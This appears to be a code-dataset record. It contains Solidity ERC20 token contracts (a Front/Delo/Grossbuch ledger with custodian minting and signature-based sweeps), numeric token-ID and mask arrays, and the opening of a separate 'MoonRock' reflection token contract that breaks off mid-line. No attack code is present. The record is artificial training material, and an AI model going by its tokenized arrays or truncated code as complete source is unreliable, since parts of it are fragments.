NOTE: // public getter functions are not currently recognised as an // implementation of the matching abstract function by the compiler. // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#name // function name() public view returns (string); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#symbol // function symbol() public view returns (string); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply // function decimals() public view returns (uint8); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply function totalSupply() public view returns (uint256); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#balanceof function balanceOf(address _owner) public view returns (uint256 balance); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer function transfer(address _to, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transferfrom function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve function approve(address _spender, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#allowance function allowance(address _owner, address _spender) public view returns (uint256 remaining); // EVENTS // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 event Transfer(address indexed _from, address indexed _to, uint256 _value); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approval event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Front is ERC20Interface, DeloCanBeReplaced { // MEMBERS string public name; string public symbol; uint8 public decimals; // CONSTRUCTOR function Front( string _name, string _symbol, uint8 _decimals, address _custodian ) DeloCanBeReplaced(_custodian) public { name = _name; symbol = _symbol; decimals = _decimals; } // PUBLIC FUNCTIONS // (ERC20Interface) function totalSupply() public view returns (uint256) { return delo.totalSupply(); } function balanceOf(address _owner) public view returns (uint256 balance) { return delo.balanceOf(_owner); } function emitTransfer(address _from, address _to, uint256 _value) public onlyDelo { emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { return delo.transferWithSender(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { return delo.transferFromWithSender(msg.sender, _from, _to, _value); } function emitApproval(address _owner, address _spender, uint256 _value) public onlyDelo { emit Approval(_owner, _spender, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { return delo.approveWithSender(msg.sender, _spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { return delo.increaseApprovalWithSender(msg.sender, _spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { return delo.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue); } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return delo.allowance(_owner, _spender); } } contract Delo is CustodianCanBeReplaced { // TYPES struct PendingPrint { address receiver; uint256 value; } // MEMBERS Front public front; Grossbuch public grossbuch; address public sweeper; bytes32 public sweepMsg; mapping (address => bool) public sweptSet; mapping (bytes32 => PendingPrint) public pendingPrintMap; // CONSTRUCTOR function Delo( address _front, address _grossbuch, address _custodian, address _sweeper ) CustodianCanBeReplaced(_custodian) public { require(_sweeper != 0); front = Front(_front); grossbuch = Grossbuch(_grossbuch); sweeper = _sweeper; sweepMsg = keccak256(address(this), "sweep"); } // MODIFIERS modifier onlyFront { require(msg.sender == address(front)); _; } modifier onlySweeper { require(msg.sender == sweeper); _; } function approveWithSender( address _sender, address _spender, uint256 _value ) public onlyFront returns (bool success) { require(_spender != address(0)); // disallow unspendable approvals grossbuch.setAllowance(_sender, _spender, _value); front.emitApproval(_sender, _spender, _value); return true; } function increaseApprovalWithSender( address _sender, address _spender, uint256 _addedValue ) public onlyFront returns (bool success) { require(_spender != address(0)); // disallow unspendable approvals uint256 currentAllowance = grossbuch.allowed(_sender, _spender); uint256 newAllowance = currentAllowance + _addedValue; require(newAllowance >= currentAllowance); grossbuch.setAllowance(_sender, _spender, newAllowance); front.emitApproval(_sender, _spender, newAllowance); return true; } function decreaseApprovalWithSender( address _sender, address _spender, uint256 _subtractedValue ) public onlyFront returns (bool success) { require(_spender != address(0)); // disallow unspendable approvals uint256 currentAllowance = grossbuch.allowed(_sender, _spender); uint256 newAllowance = currentAllowance - _subtractedValue; require(newAllowance <= currentAllowance); grossbuch.setAllowance(_sender, _spender, newAllowance); front.emitApproval(_sender, _spender, newAllowance); return true; } function requestPrint(address _receiver, uint256 _value) public returns (bytes32 zamokId) { require(_receiver != address(0)); zamokId = generateZamokId(); pendingPrintMap[zamokId] = PendingPrint({ receiver: _receiver, value: _value }); emit PrintingLocked(zamokId, _receiver, _value); } function confirmPrint(bytes32 _zamokId) public onlyCustodian { PendingPrint storage print = pendingPrintMap[_zamokId]; // reject ‘null’ results from the map lookup // this can only be the case if an unknown `_zamokId` is received address receiver = print.receiver; require (receiver != address(0)); uint256 value = print.value; delete pendingPrintMap[_zamokId]; uint256 supply = grossbuch.totalSupply(); uint256 newSupply = supply + value; if (newSupply >= supply) { grossbuch.setTotalSupply(newSupply); grossbuch.addBalance(receiver, value); emit PrintingConfirmed(_zamokId, receiver, value); front.emitTransfer(address(0), receiver, value); } } function burn(uint256 _value) public returns (bool success) { uint256 balanceOfSender = grossbuch.balances(msg.sender); require(_value <= balanceOfSender); grossbuch.setBalance(msg.sender, balanceOfSender - _value); grossbuch.setTotalSupply(grossbuch.totalSupply() - _value); front.emitTransfer(msg.sender, address(0), _value); return true; } function batchTransfer(address[] _tos, uint256[] _values) public returns (bool success) { require(_tos.length == _values.length); uint256 numTransfers = _tos.length; uint256 senderBalance = grossbuch.balances(msg.sender); for (uint256 i = 0; i < numTransfers; i++) { address to = _tos[i]; require(to != address(0)); uint256 v = _values[i]; require(senderBalance >= v); if (msg.sender != to) { senderBalance -= v; grossbuch.addBalance(to, v); } front.emitTransfer(msg.sender, to, v); } grossbuch.setBalance(msg.sender, senderBalance); return true; } function enableSweep(uint8[] _vs, bytes32[] _rs, bytes32[] _ss, address _to) public onlySweeper { require(_to != address(0)); require((_vs.length == _rs.length) && (_vs.length == _ss.length)); uint256 numSignatures = _vs.length; uint256 sweptBalance = 0; for (uint256 i=0; i<numSignatures; ++i) { address from = ecrecover(sweepMsg, _vs[i], _rs[i], _ss[i]); // ecrecover returns 0 on malformed input if (from != address(0)) { sweptSet[from] = true; uint256 fromBalance = grossbuch.balances(from); if (fromBalance > 0) { sweptBalance += fromBalance; grossbuch.setBalance(from, 0); front.emitTransfer(from, _to, fromBalance); } } } if (sweptBalance > 0) { grossbuch.addBalance(_to, sweptBalance); } } function replaySweep(address[] _froms, address _to) public onlySweeper { require(_to != address(0)); uint256 lenFroms = _froms.length; uint256 sweptBalance = 0; for (uint256 i=0; i<lenFroms; ++i) { address from = _froms[i]; if (sweptSet[from]) { uint256 fromBalance = grossbuch.balances(from); if (fromBalance > 0) { sweptBalance += fromBalance; grossbuch.setBalance(from, 0); front.emitTransfer(from, _to, fromBalance); } } } if (sweptBalance > 0) { grossbuch.addBalance(_to, sweptBalance); } } function transferFromWithSender( address _sender, address _from, address _to, uint256 _value ) public onlyFront returns (bool success) { require(_to != address(0)); // ensure burn is the cannonical transfer to 0x0 uint256 balanceOfFrom = grossbuch.balances(_from); require(_value <= balanceOfFrom); uint256 senderAllowance = grossbuch.allowed(_from, _sender); require(_value <= senderAllowance); grossbuch.setBalance(_from, balanceOfFrom - _value); grossbuch.addBalance(_to, _value); grossbuch.setAllowance(_from, _sender, senderAllowance - _value); front.emitTransfer(_from, _to, _value); return true; } function transferWithSender( address _sender, address _to, uint256 _value ) public onlyFront returns (bool success) { require(_to != address(0)); // ensure burn is the cannonical transfer to 0x0 uint256 balanceOfSender = grossbuch.balances(_sender); require(_value <= balanceOfSender); grossbuch.setBalance(_sender, balanceOfSender - _value); grossbuch.addBalance(_to, _value); front.emitTransfer(_sender, _to, _value); return true; } // METHODS (ERC20 sub interface impl.) function totalSupply() public view returns (uint256) { return grossbuch.totalSupply(); } function balanceOf(address _owner) public view returns (uint256 balance) { return grossbuch.balances(_owner); } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return grossbuch.allowed(_owner, _spender); } // EVENTS event PrintingLocked(bytes32 _zamokId, address _receiver, uint256 _value); event PrintingConfirmed(bytes32 _zamokId, address _receiver, uint256 _value); } contract Grossbuch is DeloCanBeReplaced { // MEMBERS uint256 public totalSupply; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; // CONSTRUCTOR function Grossbuch(address _custodian) DeloCanBeReplaced(_custodian) public { totalSupply = 0; } // PUBLIC FUNCTIONS function setTotalSupply( uint256 _newTotalSupply ) public onlyDelo { totalSupply = _newTotalSupply; } function setAllowance( address _owner, address _spender, uint256 _value ) public onlyDelo { allowed[_owner][_spender] = _value; } function setBalance( address _owner, uint256 _newBalance ) public onlyDelo { balances[_owner] = _newBalance; } function addBalance( address _owner, uint256 _balanceIncrease ) public onlyDelo { balances[_owner] = balances[_owner] + _balanceIncrease; } }
MEMBERS CONSTRUCTOR
contract Front is ERC20Interface, DeloCanBeReplaced { string public name; string public symbol; uint8 public decimals; function Front( string _name, string _symbol, uint8 _decimals, address _custodian ) DeloCanBeReplaced(_custodian) public { name = _name; symbol = _symbol; decimals = _decimals; } function totalSupply() public view returns (uint256) { return delo.totalSupply(); } function balanceOf(address _owner) public view returns (uint256 balance) { return delo.balanceOf(_owner); } function emitTransfer(address _from, address _to, uint256 _value) public onlyDelo { emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { return delo.transferWithSender(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { return delo.transferFromWithSender(msg.sender, _from, _to, _value); } function emitApproval(address _owner, address _spender, uint256 _value) public onlyDelo { emit Approval(_owner, _spender, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { return delo.approveWithSender(msg.sender, _spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { return delo.increaseApprovalWithSender(msg.sender, _spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { return delo.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue); } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return delo.allowance(_owner, _spender); } }
12,909,732
[ 1, 19630, 55, 3492, 13915, 916, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 16465, 353, 4232, 39, 3462, 1358, 16, 6603, 83, 2568, 1919, 5729, 72, 288, 203, 203, 565, 533, 1071, 508, 31, 203, 203, 565, 533, 1071, 3273, 31, 203, 203, 565, 2254, 28, 1071, 15105, 31, 203, 203, 565, 445, 16465, 12, 203, 3639, 533, 389, 529, 16, 203, 3639, 533, 389, 7175, 16, 203, 3639, 2254, 28, 389, 31734, 16, 203, 3639, 1758, 389, 71, 641, 369, 2779, 203, 565, 262, 203, 3639, 6603, 83, 2568, 1919, 5729, 72, 24899, 71, 641, 369, 2779, 13, 203, 3639, 1071, 203, 565, 288, 203, 3639, 508, 273, 389, 529, 31, 203, 3639, 3273, 273, 389, 7175, 31, 203, 3639, 15105, 273, 389, 31734, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 1464, 83, 18, 4963, 3088, 1283, 5621, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 389, 8443, 13, 1071, 1476, 1135, 261, 11890, 5034, 11013, 13, 288, 203, 3639, 327, 1464, 83, 18, 12296, 951, 24899, 8443, 1769, 203, 565, 289, 203, 203, 565, 445, 3626, 5912, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 1338, 2837, 83, 288, 203, 3639, 3626, 12279, 24899, 2080, 16, 389, 869, 16, 389, 1132, 1769, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 327, 1464, 83, 18, 13866, 1190, 12021, 12, 3576, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ //SPDX-License-Identifier: MIT /* ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒░░░░░░ ░ ░ ░ ░░░░░░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░███████▓▒ ░ ░ ░ ▒▓▓▓▓▓▓▓▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░▓█▓▓▓▓▓▓█▓░ ░ ░ ░ ░ ▒▓▓▓▒▒▒▒▒▓▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒▓▓▓▓▓▓▓▓█▓░ ░ ▒▓▓▓▓▒▒▒▓▓▒░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒▓█▓▓▓▓▓██▓░ ▒▓▓▓▓▓▒▓▓▓▒░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ▒█▓▓▓▓▓▓▓█▓░ ▒▓█▓▓▓▓▓▓▓▓░ ░ ░ ░ ░ ░ ░ ░ ░█▓ ▒██▓▓▓▓▓██▓░ ▒▓█▓▓▓▓▓▓▓▓▒ ░▓ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ███▒ ░▒██▓▓▓▓▓██▒▒▓█▓▓▓▓▓▓▓▓▒ ▓██ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓██▓ ░▓██▓▓▓▓▓██▓▓▓▓▓▓█▓▒ ▓████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓█▒ ░▓██▓▓▓▓▓▓▓▓▓█▓▒ ▓██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓█▒ ░▓██▓▓▓▓▓██▒ ░▓████████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓█▒ ░▓█▓▓██▒ ░▓██████████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓█▒ ░▓█▓ ░▓█████▓██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓▓▒ ░ ░ ░ ░███████░ ▓█████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓█▒ ░ ░ ▒██████▓▒ ██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓▓▒ ░ ░ ░ ▒███████ ██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░▓▓▓▓▓█▒ ░ ░ ░ ░▓██████▓ ██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓▓▓▓▓▓▒ ░ ░ ░ ░ ▒██████▓░ ██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░▓▓▓▓▓▓▒ ░ ░ ░ ▓██████▓ ██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░▓▓▓▓▓▓▒ ░ ░ ░ ░▓██████▒ ██████ ░ ░ ░ ░ ░ ░ ░ ░▓▓▓▓▓▓▒ ░ ░ ░ ░███████░ ██████ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░▓▓▓▓▒ ░ ░ ▒██████▓░ █████▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒▓█▒ ░ ░ ▒███████░ ██▓░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒▒ ▒███████░ ▓▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▓▒▒▒▓▓▓▓▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▓▓▓▒▒▒▓▒▒▒▒▒▓▒▒▒ ▓█▓▒▒▒▒▒██▒▒▓███████▒▒▒███████▒▒██▓▒▒▒▓█▒▒███████▒▒▓██████▓▒▒▓██████▓▒█▓▒▒▓██▒▒▒ ▓██▓▒▒▒███▒▒██▒▒▒▒▒██▒██▒▒▒▒▒██▒████▒▒▓█▒▒██▒▒▒░█▓▓█▓▒▒▒▒▓█▓▒██▒▒▒▒▒▒▒█▓▒██▓▒▒▒▒ ▓█▒█▓▒██▓█▒██▒▒▒▒▒▒▓█▒█▒▒▒▒▒▒▓█▒██░██▓▓█▒▒██▓▓▓██▒██▒▒▒▒▒▒██▓█▒▒▒▒▒▒▒▒████▓▒▒▒▒▒ ▓█▒▒███▒▓█▒▒██▒▒▒▒▓██▒██▒▒▒▒▒██▒██▒▒▓███▒▒██████▒▒▓█▓▒▒▒▒▓█▓▒██▒▒▒▒▓▒▒██▒▓██▒▒▒▒ ▓█▒▒▒█▒▒▓█▒▒▒███████▒▒▒███████▒▒██▒▒▒▒██▒▒██▒▒▒██▓▒▓██████▓▒▒▒██████▓▒█▓▒▒▒██▓▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▓▓▓▒▒▒▓▒▒▒▒▒▓▓▒▒ Written, deployed & Migrated by Krakovia (@karola96) */ // o/ pragma solidity 0.8.13; //interfaces interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // contracts abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } // main contract contract moonrock is Context, IERC20, Ownable { //custom IUniswapV2Router02 public uniswapV2Router; //string string private _name = "MoonRock"; string private _symbol = "ROCK"; //bool bool public moveEthToWallets = true; bool public TakeEthForFees = true; bool public swapAndLiquifyEnabled = true; bool public blockMultiBuys = true; bool public marketActive = false; bool private isInternalTransaction = false; bool public vestingActive = true; //address address public uniswapV2Pair; address public _MarketingWalletAddress = 0x9151D7B75601E8407049F3642365629e24d8f13d; address public _DevelopmentWalletAddress = 0xc040621C8853d1E5fF74f891F976168d39Ba29aA; address public _InvfundWalletAddress = 0x03c754661A0B30E01768D612328d95938716Cd31; address[] private _excluded; //uint uint public buyReflectionFee = 4; uint public sellReflectionFee = 4; uint public buyMarketingFee = 2; uint public sellMarketingFee = 2; uint public buyDevelopmentFee = 2; uint public sellDevelopmentFee = 2; uint public buyInvfundFee = 2; uint public sellInvfundFee = 2; uint public buyFee = buyReflectionFee + buyMarketingFee + buyDevelopmentFee + buyInvfundFee; uint public sellFee = sellReflectionFee + sellMarketingFee + sellDevelopmentFee + sellInvfundFee; uint public buySecondsLimit = 5; uint public minimumTokensBeforeSwap; uint public tokensToSwap; uint public intervalSecondsForSwap = 60; uint public minimumWeiForTokenomics = 1 * 10**16; // 0.01 ETH uint private startTimeForSwap; uint private MarketActiveAt; uint private constant MAX = ~uint256(0); uint8 private _decimals = 9; uint private _tTotal = 1_000_000_000 * 10 ** _decimals; uint private _rTotal = (MAX - (MAX % _tTotal)); uint private _tFeeTotal; uint private _ReflectionFee; uint private _MarketingFee; uint private _DevelopmentFee; uint private _InvfundFee; uint private _OldReflectionFee; uint private _OldMarketingFee; uint private _OldDevelopmentFee; uint private _OldInvfundFee; //struct struct userData { uint lastBuyTime; } //mapping mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public premarketUser; mapping (address => bool) public VestedUser; mapping (address => bool) public excludedFromFees; mapping (address => bool) private _isExcluded; mapping (address => bool) public automatedMarketMakerPairs; mapping (address => userData) public userLastTradeData; //event event MarketingCollected(uint256 amount); event DevelopmentCollected(uint256 amount); event InvestmentFundCollected(uint256 amount); event ExcludedFromFees(address indexed user, bool state); event SwapSystemChanged(bool status, uint256 intervalSecondsToWait, uint256 minimumToSwap, uint256 tokensToSwap); event MoveEthToWallets(bool state); // constructor constructor() { // set gvars IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; minimumTokensBeforeSwap = 50_000 * 10 ** _decimals ; tokensToSwap = minimumTokensBeforeSwap; excludedFromFees[address(this)] = true; excludedFromFees[owner()] = true; premarketUser[owner()] = true; excludedFromFees[_MarketingWalletAddress] = true; //spawn pair uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // mappings automatedMarketMakerPairs[uniswapV2Pair] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } // accept eth for autoswap receive() external payable { } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function setFees() private { buyFee = buyReflectionFee + buyMarketingFee + buyDevelopmentFee + buyInvfundFee; sellFee = sellReflectionFee + sellMarketingFee + sellDevelopmentFee + sellInvfundFee; } function excludeFromReward(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function setMoveEthToWallets(bool state) external onlyOwner { moveEthToWallets = state; emit MoveEthToWallets(state); } function excludeFromFee(address account) external onlyOwner { excludedFromFees[account] = true; emit ExcludedFromFees(account,true); } function includeInFee(address account) external onlyOwner { excludedFromFees[account] = false; emit ExcludedFromFees(account,false); } function setReflectionFee(uint buy, uint sell) external onlyOwner() { buyReflectionFee = buy; sellReflectionFee = sell; setFees(); require(buyFee + sellFee <= 25, "Fees to high"); } function setMarketingFee(uint buy, uint sell) external onlyOwner() { buyMarketingFee = buy; sellMarketingFee = sell; setFees(); require(buyFee + sellFee <= 25, "Fees to high"); } function setDevelopmentFee(uint buy, uint sell) external onlyOwner() { buyDevelopmentFee = buy; sellDevelopmentFee = sell; setFees(); require(buyFee + sellFee <= 25, "Fees to high"); } function setInvfundFee(uint buy, uint sell) external onlyOwner() { buyInvfundFee = buy; sellInvfundFee = sell; setFees(); require(buyFee + sellFee <= 25, "Fees to high"); } function VestingMultipleAccounts(address[] calldata accounts, bool _state) external onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { VestedUser[accounts[i]] = _state; } } function setMinimumWeiForTokenomics(uint _value) external onlyOwner { minimumWeiForTokenomics = _value; } function disableVesting() external onlyOwner { // there is no coming back after disabling vesting. vestingActive = false; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvfund) { (tTransferAmount, tFee, tMarketing, tDevelopment, tInvfund) = _getTValues(tAmount); (rAmount, rTransferAmount, rFee) = _getRValues(tAmount, tFee, tMarketing, tDevelopment, tInvfund, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing, tDevelopment, tInvfund); } function _getTValues(uint256 tAmount) private view returns (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvfund) { tFee = calculateReflectionFee(tAmount); tMarketing = calculateMarketingFee(tAmount); tDevelopment = calculateDevelopmentFee(tAmount); tInvfund = calculateInvfundFee(tAmount); tTransferAmount = tAmount - tFee - tMarketing - tDevelopment - tInvfund; return (tTransferAmount, tFee, tMarketing, tDevelopment, tInvfund); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvfund, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee 